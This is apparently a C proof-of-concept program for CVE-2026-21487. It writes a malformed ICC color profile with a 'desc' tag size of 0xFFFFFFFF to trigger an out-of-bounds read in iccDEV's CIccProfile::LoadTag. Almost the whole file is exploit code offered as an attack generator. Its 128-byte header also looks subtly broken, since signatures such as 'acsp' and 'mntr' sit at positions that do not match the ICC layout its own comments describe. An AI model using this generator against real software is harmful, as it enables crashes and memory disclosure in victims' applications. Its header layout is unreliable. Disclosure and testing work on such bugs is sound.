// PoC for CVE-2026-21487: iccDEV CIccProfile::LoadTag Out-of-bounds Read
// This PoC creates a malicious ICC profile file that triggers the vulnerability
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ICC Profile Header (128 bytes)
unsigned char icc_header[128] = {
0x00, 0x00, 0x0C, 0x74, // profile size (will be updated)
'a', 'c', 's', 'p', // profile signature
0x00, 0x00, // preferred CMM type
0x04, 0x00, 0x00, 0x00, // profile version
0x00, 0x00, 0x00, 0x00, // profile/device class
0x00, 0x00, // color space
0x00, 0x00, // PCS
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // creation date
'm', 'n', 't', 'r', // profile file signature
0x00, 0x00, 0x00, 0x00, // primary platform
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // flags
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // device manufacturer
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // device model
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // device attributes
0x00, 0x00, // rendering intent
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // PCS illuminant
'e', 'n', 'U', 'S', // creator
0x00, 0x00, 0x00, 0x00, // profile ID
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // reserved
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
// Tag table entry with malicious size (triggers OOB read)
// signature, offset, size - size is set to a large value to trigger overflow
unsigned char tag_table[] = {
0x64, 0x65, 0x73, 0x63, // 'desc' tag signature
0x00, 0x00, 0x00, 0x84, // offset to tag data
0xFF, 0xFF, 0xFF, 0xFF // MALICIOUS SIZE - causes OOB read
};
// Malicious tag data
unsigned char malicious_tag[] = {
0x00, 0x00, 0x00, 0x00 // minimal tag data
};
void create_malicious_icc(const char* filename) {
FILE* fp = fopen(filename, "wb");
if (!fp) {
printf("Failed to create file\n");
return;
}
// Write header
fwrite(icc_header, 1, 128, fp);
// Write tag count (big-endian: 1 tag)
unsigned char tag_count[4] = {0x00, 0x00, 0x00, 0x01};
fwrite(tag_count, 1, 4, fp);
// Write malicious tag table entry
fwrite(tag_table, 1, 12, fp);
// Write malicious tag data
fwrite(malicious_tag, 1, sizeof(malicious_tag), fp);
fclose(fp);
printf("Malicious ICC profile created: %s\n", filename);
}
int main() {
create_malicious_icc("CVE-2026-21487-malicious.icc");
printf("PoC for CVE-2026-21487 generated.\n");
printf("The malicious ICC file has a tag with size=0xFFFFFFFF which triggers\n");
printf("an out-of-bounds read in CIccProfile::LoadTag function.\n");
return 0;
}